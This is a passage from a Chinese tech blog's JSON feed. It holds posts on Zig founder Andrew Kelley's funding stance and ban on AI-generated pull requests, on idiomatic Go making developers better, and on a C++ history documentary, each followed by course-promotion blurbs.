Zig 做到了。在 Zig 中，一切都可以像 C 一样高效，但消除了 C 语言海量的“坑（Footguns）”。甚至在细节上，Zig 比 C 更像 C：C 语言只有溢出（Wraparound）的无符号整数，而 Zig 允许你精细控制整数的溢出行为和符号约束。\n2. 为什么它不同于 Rust？ Rust 的核心是其宏大的类型系统和基于生命周期/借用的内存管理模型（类似 RAII）。\n而 Zig 走的是**“显式分配器（Explicit Allocators）”**的路线。\n在 Zig 中，没有隐式的内存分配，开发者经常针对特定应用使用 Arena Allocator（一次性分配，一次性销毁），以获得极低的延迟和极高的吞吐量。TigerBeetle 数据库就是利用这一点，在启动时预先分配好所有内存，此后运行时零动态分配（Zero Dynamic Allocation），从而实现了恐怖的高频交易性能。\n3. 杀手锏：全宇宙最强的 Toolchain 如果你问一个开发者，在 C/C++ 项目里最痛苦的是什么？99% 的人会回答：配置构建环境（CMake、Makefile、装依赖）。\nZig 的杀手锏在于它的工具链：它没有任何外部依赖。 无论你在什么操作系统上，想要编译一个项目，永远只需要一句 zig build。不仅如此，Zig 甚至可以作为一个超级强大的 C/C++ 交叉编译器。Uber 就是用 zig cc 来解决 Go 语言中混合 C 代码在 ARM 架构上的交叉编译难题的。\n“AI 代码全是垃圾”：为什么 Zig 坚决封杀 LLM 提交？ 在这个“万物皆可 AI 编程（Vibe Coding）”的狂热时代，Andrew 和 Zig 社区制定了一项极其强硬的规则：严禁任何由大模型（LLM/AI）生成的 Issue 和 Pull Request。\n为什么这么刚？Andrew 的回答充满了工程师的辛辣与无奈：\n“因为那些贡献无一例外，全是垃圾（Invariably garbage）。”\nZig 的核心团队只有 5 个人，却要面对海量的社区贡献。开源项目接受 PR 的核心目的不仅仅是为了拿代码，更是为了**“导师制（Mentorship）”**——通过 Review 代码，培养出下一代的核心维护者。\n但在 Andrew 看来，那些用 AI 批量生成代码然后扔过来的贡献者，不仅没有任何价值，还在疯狂消耗核心团队极其宝贵的 Review 时间。\n“这就像是‘贡献者扑克（Contributor Poker）’。用 AI 的人永远只是路过，他们学不到任何东西，也永远不可能成为核心团队的一员。更可笑的是，他们往往只是把报错信息贴回 ChatGPT，然后假装自己修复了问题。这纯粹是在浪费所有人的时间。”\n面对满天飞的“AI 编程神器”，Andrew 有着自己极其古典的软件信仰：\n“我想要软件拥有‘绝不妥协的完美（Uncompromising perfection）’。我不想看到一个软件仅仅是因为‘出乎意料地没有 Bug’而沾沾自喜，那是一个糟糕透顶的质量标准。”\n$670K 的独立基金与 $100M 的诱惑：为什么拒绝做大？ 在科技圈，一个流行的开源项目很快就会被大厂收编，或者拿到顶级 VC 的上亿美元融资，然后迅速扩张。\n但 Zig Software Foundation (ZSF) 走了一条截然不同的路。它是一个注册在美国的 501(c)(3) 非营利组织。2024 年，整个基金会的总收入只有区区 67 万美元（约合人民币 480 万）。\n在这 67 万美元中，Andrew 为自己定下了 15.4 万美元的年薪（相当于纽约一个普通的资深程序员薪水），而剩下的资金的9成以上，全部用来支付另外几位兼职和全职的外包核心开发者。\n当主持人犀利地问道：“如果一家大公司给你 1 亿美元的无条件赞助，你会要吗？”\nAndrew 的回答展现出了极度的清醒：\n“我会拿，但我会把它存进银行，确保我们未来 100 年都不需要再到处筹款。但我绝不会用这笔钱去扩张。我不想管理 100 个人的团队。”\n他的逻辑极其自洽：保持一个极度精简、高效的微型组织，能够最大程度地抵御资本的腐蚀（Oxidation）。\n“我们不是初创公司，我们没有投资人在背后催着我们变现。如果我们拿了大厂的钱，他们就会有控制权；现在，我们靠着多元化的小额赞助和少数企业的资助活着。如果哪天某个赞助商说‘你必须按我说的做’，我们可以硬气地回答：‘对不起，如果你撤资，我们依然能活下去。’”\n这就是他宁可手写报税单，也要死守非营利基金的底层原因——他要为 Zig 争取“对世界说‘不’”的自由。\n硬核的代价：离开 GitHub，以及那遥遥无期的 1.0 为了这份独立和自由，Andrew 付出了很多代价。\n2022 年，他退出了 Reddit 和 Twitter。2025 年底，当发现 GitHub 的持续集成（CI）服务器对 Zig 极度不稳定时，他更是做出了一个惊世骇俗的决定：将 Zig 的主仓库从 GitHub 彻底搬迁到了一家德国非营利组织运营的平台 Codeberg。\n这意味着他主动放弃了 GitHub 带来的巨大流量和打赏（Sponsors）收入。但他毫不在意：“我们是来写软件的。如果 CI 跑不通，我们就换一个能跑通的。Codeberg 是非营利组织，比那些为了下一个财报季奔波的创业公司靠谱多了。”\n那么，被粉丝催了 10 年的 Zig 1.0 究竟什么时候出？\nAndrew 坦言，1.0 本质上是一个“向后兼容的承诺”。像 Go 这种语言，1.0 之后很久没动过语法；而 Rust 虽早早发布 1.0，却靠着 Editions（版次）机制继续大改特改。\n“我们不需要为了迎合风投的胃口，或者为了所谓的‘商业落地指标’去急匆匆地发布 1.0。当 Zig 1.0 发布的那一天，它必须是一份**‘毫不妥协的热爱之作’**。我们不需要为任何仓促的糟糕决定买单。”\n不过，Andrew 也在采访中透露了一个彩蛋：他将全力冲刺即将到来的 0.16 版本 (注：截至发稿时，Zig官网已经发布了0.16.0版本)。在这个版本中，完全摆脱对 LLVM 依赖的自研 x86 后端将迎来爆发——百万级代码库的增量编译将低至恐怖的 50 毫秒！\n小结：程序员的乌托邦 在访谈的最后，当被问及“未来 20 年人类还会写代码吗”，Andrew 的眼中闪烁着光芒：\n“人们永远不会停止写代码，因为写代码真的太好玩了。”\n在他看来，当今世界最好的软件，往往是开发者们在业余时间出于热爱而写的。而那些为了商业目的强加给用户的软件，总是充满了广告、诱导和恶意的参与度指标。\nZig 不仅仅是一门编程语言，它是 Andrew Kelley 献给世界的一份“无条件的礼物”。它在向所有热爱底层、渴望掌控计算机的极客们宣告：\n在这个被大厂垄断、被 AI 噪音填满的世界里，我们依然可以凭借几百 K 的预算、五六个人的小团队，用对技术的极致纯粹，造出一把劈开混沌的利剑。\n如果你也曾在这个庞大的系统工程世界里感到过疲惫与迷茫，不妨去试一试 Zig 吧。那是一片没有资本催促、没有 AI 噪音的，属于纯粹程序员的乌托邦。\n资料链接：https://www.youtube.com/watch?v=iqddnwKF8HQ\n✍️ 今日开放讨论\n在这个几乎所有人都疯狂拥抱 AI 编程（Claude Code/ Codex /Antigravity Cli等）的时代，Zig 官方明确拒绝 AI 生成的 PR。你认为是 Andrew Kelley 过于“迂腐”，还是他在守护开源软件最核心的“导师制与高质量传承”？\n欢迎在评论区留言，分享你对“AI 垃圾代码”以及系统编程语言发展趋势的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/12/zig-father-refuses-funding-bans-ai-why-no-1-0-in-a-decade/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/zig-father-refuses-funding-bans-ai-why-no-1-0-in-a-decade-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/12/zig-father-refuses-funding-bans-ai-why-no-1-0-in-a-decade\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/12/zig-father-refuses-funding-bans-ai-why-no-1-0-in-a-decade\"\u003ehttps://tonybai.com/2026/06/12/zig-father-refuses-funding-bans-ai-why-no-1-0-in-a-decade\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在技术圈，有一门名为 \u003cstrong\u003eZig\u003c/strong\u003e 的系统级编程语言，它没有铺天盖地的营销，没有背后财大气粗的金主干爹，甚至它的代码仓库在 2025 年末从 GitHub 直接“硬核跑路”到了 Codeberg。\u003c/p\u003e","title":"拒领上亿、封杀 AI：Zig 之父为什么 10 年不发 1.0？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/11/writing-idiomatic-go-make-you-better\n大家好，我是Tony Bai。\n在技术圈里，Go 语言（Golang）一直扮演着一个特立独行、甚至有些“格格不入”的角色。\n如果你去问一个写 Java、Python、TypeScript 或是 C++ 的程序员对 Go 的第一印象，得到的回答大概率是：“无聊”、“简陋”，以及无处不在的 “冗余样板代码（if err != nil）”。它没有优雅的异常捕获机制，早期坚决不引入泛型，更把面向对象最核心的“类继承”给无情斩断了。\n然而，在技术社区 Reddit 的 r/golang 板块中，一个极其深刻的问题引发了全网热议：“写地道的 Go 语言（Idiomatic Go），是否让你成为了一个更好的整体开发者？”\n令人惊讶的是，那些在业界摸爬滚打多年的大厂架构师、技术主管和多语言老兵们，几乎给出了高度一致的肯定回答。\nGo，这门刻意在语法上“自我阉割”、拒绝一切魔法和花哨抽象的语言，究竟是如何反向输出、重新格式化一个程序员的底层智力结构的？在这篇文章中，我们就一起来盘点一下。\n显式错误处理：从“假装看不见异常”到“直面毁灭的工程意识” 每个刚开始写 Go 的开发者，最难以忍受的就是地道 Go 语法里近乎强迫症的错误处理：\nval, err := DoSomething() if err != nil { return fmt.Errorf(\u0026#34;failed to do: %w\u0026#34;, err) } 很多人抱怨：“为什么我非得在每一行可能出错的代码下面，写这三行废话？”\n但在 Reddit 的高赞回复中，一个资深开发者从系统设计的层面一针见血地指出了真相：“基于异常（Exception-based）的语言，给我们制造了一种‘异常被完美控制’的幻觉。这其实是极不负责任的。”\n在 Java 或 Python 中，当你调用一个可能失败的函数时，你的业务控制流是隐式的。你抛出一个异常，寄希望于上层某个魔妙的 try-catch 块能抓住它。\n但实际情况往往是：开发者为了代码的“清爽”，假装看不见潜在的失败，直到生产环境爆出未捕获的运行时异常（Runtime Exception），导致系统崩溃。\n而地道的 Go 语言通过返回 (Value, error) 的双元组，逼迫你和错误进行面对面的正面刚：\n在每一个可能失败的节点，你都必须立刻、就地做出决定：是包装错误返回？是降级重试？还是优雅地熔断？ 你开始把“失败（Failure）”视为系统运行的常规状态，而不是需要恐慌的意外。 许多开发者表示，在适应了 Go 的显式错误处理后，他们回去写 Python 或 TypeScript 时，再也不敢盲目依赖全局异常捕捉了。他们会主动用元组（Tuple）或类似 Result 的结构，在调用点显式解包。这种对错误的敬畏和就地处理的工程意识，是成为高级后端架构师的第一步。\n拒绝抽象过载：Go 的“传染性极简”如何治好你的架构妄想症？ 很多程序员在拥有了 3 到 5 年的开发经验后，极易患上一种名为“过度设计（Over-engineering）”的职业病：一看到业务需求，本能地就想套用几十种设计模式、建十几层继承树、引入各种高级的元编程和装饰器魔术。\n而 Go，是这种“架构妄想症”的特效解毒药。\n一位Reddit 用户分享了他的经历。在写了一段时期的 Go 之后，他回过头去写 Python：\n“天啊，我突然发现有 5 种完全不同的方法去遍历和操作一个数组。我开始陷入无谓的选择困难和审美疲劳。我突然开始怀念 Go 那种‘只有一种最笨、最直接的写法’的无聊感。”\nGo 语言在设计之初，就故意将语言特性压缩到了极致。它没有隐藏的控制流，没有神奇的操作符重载，没有复杂的类继承。\n这种“无聊”逼迫你放弃在代码形式上炫技，转向思考最本质的问题：\n这个逻辑能让一个新来的实习生在 30 秒内看懂吗？ 这个复杂度真的有必要存在吗？ 我的数据流向清晰吗？ 写好地道的 Go 要求你学会**“自我克制”**。当你学会在编译器的安全网中，用最平铺直叙的代码去平复系统的复杂性时，你才真正跨过了从“写代码的泥瓦匠”到“管理复杂度的工程师”的门槛。\n隐式接口与组合：告别深层继承树，解锁真正的松耦合 面向对象（OOP）的“多重继承”和“深层父子类”是无数中大型项目腐烂的温床。当你修改了一个顶层父类的方法时，你根本无法预知下面几十个子类会发生怎样灾难性的崩塌。\nGo，彻底斩断了这条锁链。它创造性地采用了隐式接口（Structural Subtyping/鸭子类型）。\nGo 社区有一句广为人知的黄金法则：“Accept interface, return struct.”（接受接口，返回结构体）。\n这一原则在 Reddit 社区中被无数开发者奉为圭臬：\n输入端轻量级解耦（Accept interface）：我的函数不关心你是什么“类”，我只关心你能不能干“读数据（Read）”这件事。 输出端具体、干净（Return struct）：我产生的是最具体、最实在的数据，把如何使用它的自由交还给调用者。 这种设计迫使你放弃设计复杂的“分类学（Taxonomy）”层级，转而像拼装乐高积木一样，用 “组合（Composition）” 的思路去重组系统。\n在 Go 中，数据（Struct）和行为（Methods）是彻底分离的。没有 giant Class 树，只有扁平的、通过隐式接口拼装在一起的松耦合组件（Ports \u0026amp; Adapters）。这种“六边形架构”思维一旦融入你的脑海，你再去写任何其他语言，都会自然而然地写出极度清爽、极易重构的代码。\n系统工程思维的蜕变：为什么“写最无聊的代码”是最高级的职业素养？ 在 Reddit 讨论中，最让人产生共鸣的一句话是：\n“Idiomatic Go was intentionally designed to make code easy to read for the next developer, not easy to write for the current one.”（地道的 Go，其设计的首要目标是让代码便于下一个开发者阅读，而不是为了让当前的开发者写得爽。）\n很多年轻程序员总觉得“越精妙、越难懂、别人都看不懂的代码”才代表高水平。但当你真正经历过生产环境的毒打，半夜三点被报警电话叫醒去 debug 一个无人能懂的“聪明代码”时，你才会明白：可预测性（Predictability）和可读性（Readability）才是衡量一个程序员职业素养的终极指标。\nGo 语言通过它的各种限制，强行把大家的代码拉到了同一个频道上。\n它逼迫你交出在代码里展示智力优越感的方向盘，让你学会在业务逻辑的深度、数据的流向和工程的健壮性上去寻找真正的技术挑战。这种在软件工程层面的“祛魅”与成熟，正是地道的 Go 给予我们最珍贵的礼物。\n小结 回到最初的问题：写地道的 Go 语言，是否能让你成为了一个更好的开发者？\n答案是毫无疑问的。\nGo 语言就像是一套高标准的“驾驶训练模拟器”。它通过在内存安全、并发模型、依赖管理和错误处理上的硬性规则，逼迫你戒掉所有在其他高级语言中惯出来的“坏毛病”。\n它强迫你直面系统失败，强迫你用组合去代替继承，强迫你把简单和可维护性放在首位。\n当你完成了这场认知洗礼，重新格式化了自己的大脑之后，你会发现，即便有一天你离开了 Go 去写 C++、Java 或 Python，你写出来的代码也变得比以前更干净、更清晰、更易重构。因为你已经学会了像一个真正的软件工程师一样去思考问题。\n资料链接：https://www.reddit.com/r/golang/comments/1tza18e/did_writing_idiomatic_go_made_you_a_better/\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/11/writing-idiomatic-go-make-you-better/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/writing-idiomatic-go-make-you-better-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/11/writing-idiomatic-go-make-you-better\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/11/writing-idiomatic-go-make-you-better\"\u003ehttps://tonybai.com/2026/06/11/writing-idiomatic-go-make-you-better\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在技术圈里，Go 语言（Golang）一直扮演着一个特立独行、甚至有些“格格不入”的角色。\u003c/p\u003e\n\u003cp\u003e如果你去问一个写 Java、Python、TypeScript 或是 C++ 的程序员对 Go 的第一印象，得到的回答大概率是：\u003cstrong\u003e“无聊”\u003c/strong\u003e、\u003cstrong\u003e“简陋”\u003c/strong\u003e，以及无处不在的 \u003cstrong\u003e“冗余样板代码（if err != nil）”\u003c/strong\u003e。它没有优雅的异常捕获机制，早期坚决不引入泛型，更把面向对象最核心的“类继承”给无情斩断了。\u003c/p\u003e","title":"写地道的 Go 语言，是否能让你成为了一个更好的开发者？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/10/the-story-of-cpp\n大家好，我是Tony Bai。\n如果将人类现代软件工业比作一部庞大的机器，那么支撑其运转的最核心骨架中，无疑很大一部分由**C++**支撑。从你手中的智能手机操作系统、每天刷的短视频推荐引擎、华尔街每秒百万次的高频交易系统，到驱动大语言模型（LLM）的底层算力矩阵，C++ 几乎无处不在。\n在过去的 40 年里，这门语言一次次被宣布“濒临死亡”，却又一次次浴火重生。它被称为“弗兰肯斯坦的怪物”，被无数程序员诅咒过其令人发指的复杂性。但即便在如今 Rust 和 Go 等现代语言强势围剿的今天，C++ 依然稳坐系统级编程的王座。\n近日，一部名为《The Story of C++: The World’s Most Consequential Programming Language》（C++ 官方纪录片）在 YouTube 上引起了巨大轰动。这部长达近两小时的纪录片，首次召集了包括 Bjarne Stroustrup（C++ 之父）、Alexander Stepanov（STL 之父）在内的一众 C++ 核心缔造者，向世人揭开了这门语言背后那些鲜为人知的妥协、背叛与权力斗争。\n更精彩的是，在海外技术社区 Reddit 的 r/cpp 板块中，这部纪录片引发了无数大厂老炮和编译器极客的热烈讨论，通过将纪录片的官方叙事与社区的“野史”拼凑在一起，我们看到了一部远比代码本身更惊心动魄的技术史诗。\n序章：从贝尔实验室逃出的“异类” 时间倒回 1979 年。彼时的贝尔实验室（Bell Labs）是全球计算机科学的“麦加圣地”，Ken Thompson和Dennis Ritchie 在这里创造了 C 语言和 Unix 系统。整个世界都沉浸在 C 语言那种贴近硬件、极致简洁的暴力美学中。\n就在此时，一个名叫 Bjarne Stroustrup 的丹麦年轻人来到了贝尔实验室。他需要编写复杂的分布式系统模拟器，很快便发现，C 语言那套基于“函数与指针”的过程式编程，在面对巨大且复杂的系统时，就像是在用石器时代的工具建造摩天大楼——代码极易失控，且难以复用。\n于是，他做了一个极具叛逆性的决定：他要在 C 语言的基础上，引入“类（Classes）”的概念。 这就是最初的“C with Classes”。\nBjarne 的初衷极其务实：他不想重新发明轮子，他只想让现有的 C 程序员能够稍微优雅一点地写代码。 因此，他定下了一条死命令：C++ 必须 100% 兼容 C 语言。\n在 Reddit 的讨论中，一位资深 C++ 工程师指出：“C++ 之所以能在早期存活下来，唯一的理由就是它能够与海量的 C 语言头文件无缝对接。” 这条与 C 的“血脉绑定”，成为了 C++ 能够迅速占领企业级市场的最强杀手锏，但也为它日后的无底洞复杂性和编译期灾难埋下了最深远的隐患。\n第一幕：STL 的救赎——从被群嘲到绝地反击 如果说 Bjarne 给了 C++ 骨架，那么真正赋予 C++ 灵魂的，是另一个极具争议的天才：Alexander Stepanov。\n在 90 年代初，面向对象编程（OOP）如日中天。所有人都在沉迷于画继承树、搞多态。但 Stepanov 对此嗤之以鼻。他认为，将数据结构和算法强行绑定在对象里，是一种“极度低效且愚蠢的数学谬误”。\n他提出了一种名为**“泛型编程（Generic Programming）”**的思想：算法应该独立于数据结构之外，通过一种叫“迭代器（Iterator）”的桥梁连接。\n这就是后来名震天下的 STL（标准模板库）。\n在纪录片中，最戏剧性的一幕发生在 1993 年的 C++ 标准委员会上。当 Stepanov 第一次将庞大且极其复杂的 STL 提案摆在委员会面前时，遭到了全场的群嘲与抵制。\n“这太庞大了！这太疯狂了！这简直是在强奸编译器！”大佬们纷纷摇头。\n此时的 C++ 委员会，正沉浸在由微软、IBM 等科技巨头把持的“门派斗争”中，没有人愿意为这种学术界的“屠龙术”买单。\n在生死存亡之际，是 Bjarne 站了出来。为了让 STL 能够活下来，Bjarne 甚至不惜**“扭断了自己亲生孩子的手臂”**。\n一位Reddit 用户分享了一段极其硬核的野史：“听到 Bjarne 承认为了让 STL 能在早期的 Cfront（C++ 编译器前置工具）上编译通过，他强行修改了 C++ 的语言规则，甚至导致了著名的 Cfront 2.0 bug，这简直太搞笑了！”\n最终，在 Bjarne 的权力背书下，STL 以极其微弱的优势通过了委员会的投票。这一决定，彻底改变了现代软件工业的走向。没有 STL 提供的 Vector、Map 和极度优化的泛型算法，后来的谷歌、亚马逊和高频交易公司根本无法在 C++ 上构建起支撑亿万级流量的系统。\n第二幕：巨头的绞杀——微软的野心与 Java 的入侵 正当 C++ 在系统底层攻城略地时，外部的绞杀战开始了。\n2000 年前后，C++ 迎来了它生命中最黑暗的“冰河期”。在 Reddit 上，大厂老炮们对这段历史记忆犹新：\nJava 的降维打击：Sun 公司推出的 Java 带着“Write Once, Run Anywhere（一次编写，到处运行）”和自带垃圾回收（GC）的承诺，瞬间摧毁了 C++ 在企业级开发层的统治地位。IBM 等巨头一夜之间倒戈。 微软的背刺：为了对抗 Java，微软推出了自己的 .NET 战略和 C# 语言，并在很大程度上“冻结”了对原生 C++ 工具链的投入。 当时的 C++，就像是一个垂暮的老人：没有包管理器、跨平台编译像一场噩梦、ABI（应用程序二进制接口）地狱让人抓狂。甚至有人提到了一篇著名的早期新闻标题：“The Decline of C++?（C++ 的衰落？）”\n更致命的是，C++ 标准委员会（WG21）在这个时期陷入了长达十年的“难产”。各大编译器厂商（尤其是微软的 MSVC）为了各自的商业利益互相扯皮。\n在 Reddit 的帖子中，现任 MSVC STL 开发者的 STL 本尊亲自下场“辟谣”与爆料：\n当时有很多开发者抱怨微软试图“破坏”STL（因为微软在 STL 里加入了极度拖慢性能的迭代器调试代码 _SECURE_SCL）。STL 大神解释道：“*微软并没有试图破坏 STL，这纯粹是出于对安全性的妥协，而在 2000 年代，由于编译器团队对 C++ 底层模板的理解不足，导致了糟糕的实现。*”\n无论如何，在这漫长的十年里（C++98 到 C++11 之前），C++ 停滞不前。这段历史在官方纪录片中被轻描淡写地带过，但在社区看来，这是 C++ 被巨头资本裹挟、险些丧命的耻辱时代。\n第三幕：现代 C++ 的绝地反击（C++11 至今） 就在所有人都以为 C++ 将退化为一门“只配用来写驱动”的边缘语言时，C++11 横空出世。\n这绝对是编程语言史上最伟大的一次“续命”。C++11 引入了 auto、智能指针（Smart Pointers）、Lambda 表达式以及多线程支持。它仿佛将一辆生锈的老爷车，直接改装成了核动力飞船。\nReddit 上的一位开发者感叹道：“如果你没有经历过在 C++11 之前，仅仅是想要实现一个跨平台的多线程逻辑，就能触发各种未定义行为（UB）的时代，你就无法理解我们现在拥有的现代 C++ 有多么幸福。”\n此时，硅谷的巨头们也终于醒悟。随着摩尔定律的逐渐放缓（单核 CPU 的免费午餐结束了），亚马逊、谷歌、Meta 以及高频交易巨头 Hudson River Trading（HRT）发现：要想在服务器账单上省下数千万美元，要想让延迟降低到微秒级，只有一条路可走——回归 C++。\n从 C++11 开始，标准委员会终于恢复了活力，确立了每三年发布一个新标准（C++14, C++17, C++20…）的铁律。\n纪录片中展示了今天 C++ 标准委员会的盛况：从最初的几十人，变成了现在动辄数百人的庞大机构。但这同时也带来了新的诅咒：过度设计与特征膨胀（Feature Bloat）。\n终章：C++ 无法摆脱的诅咒与未来 纪录片以一种充满希望的基调收尾，特别提到了即将到来的 C++26 及其杀手级特性：静态反射（Static Reflection）。\n但在 Hacker News 和 Reddit 上，那些每天深陷在 C++ 屎山代码中的一线架构师们，却显得远没有那么乐观。\n1. 缺失的拼图：为什么官方不敢提 Boost？\n眼尖的社区极客指出，这部宣称是“官方历史”的纪录片，竟然对 Boost 库 只字未提！要知道，在 C++ 停滞的十年里，是 Boost 库（包含大量实验性的元编程和现代特性）几乎凭借一己之力撑起了 C++ 的生态，并孵化了 C++11 的大部分新特性。社区猜测，这背后可能涉及到 Boost 基金会与 C++ 标准委员会之间复杂的权力斗争与未解恩怨。\n2. 基础设施的荒漠：构建工具与包管理器之殇\n在 Reddit 上，超过一半的火力集中在一个最朴素的痛点上：C++ 至今没有一个像样的官方包管理器。\n当你用 Go 或 Rust 开发时，go get/install 或 cargo install 就能优雅地解决一切。但在 C++ 中，为了集成一个第三方库，你需要聘请一个拥有“博士学位”的 CMake 工程师，在 vcpkg、Conan、Bazel 之间痛苦挣扎，还要处理无穷无尽的 ABI（应用程序二进制接口）冲突。\n一位大厂架构师绝望地写道：“标准化不应该强迫企业妥协，但现有的三大包管理器，导致了生态的极端割裂。C++ 真正的问题不在于语言层面，而在于其糟糕透顶的工程工具链体验。”\n3. 碳（Carbon）与锈（Rust）的围剿\n如今，谷歌推出了试图平替 C++ 的 Carbon 语言，而白宫甚至在安全报告中公开呼吁开发者放弃 C/C++，转向内存安全的 Rust。\n面对如此巨大的压力，C++ 能够挺过下一轮大洗牌吗？\n答案或许依然是肯定的。因为 C++ 早就超越了一门编程语言的范畴，它已经成为了人类数字文明的基础物理法则之一。 那些数以百亿计的遗留代码，那些经历了三十年实战检验的高频交易系统，那些与硬件深度绑定的 GPU 调度矩阵，是不可能在十年内被 Rust 或 Go 完全重写的。\n《The Story of C++》不仅是一部纪录片，它是一面镜子。它照出了人类在构建庞大数字帝国时，那种充满妥协、混乱却又无比顽强的工程精神。\nC++ 的世界里没有完美的乌托邦。正如 Bjarne Stroustrup 那句最著名的名言：\n“世界上只有两种编程语言：一种是人们天天在抱怨的语言，另一种是根本没人用的语言。”\n而 C++，无疑是被抱怨得最狠，却又永远无法被抛弃的那一个。\n资料链接：\nhttps://www.youtube.com/watch?v=lI7tMxzSJ7w https://www.reddit.com/r/cpp/comments/1txhe5n/the_story_of_c_the_worlds_most_consequential/ 今日开放讨论：\n作为开发者，你认为 C++ 目前最大的痛点是由于它必须保持与 C 的后向兼容（Backwards Compatibility），还是因为它糟糕的构建和包管理工具？在 AI 和 Rust 崛起的时代，你会建议新人继续深入学习 C++ 吗？\n欢迎在评论区留下你的观点，我们一起探讨系统级编程的未来！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/10/the-story-of-cpp/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/the-story-of-cpp-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 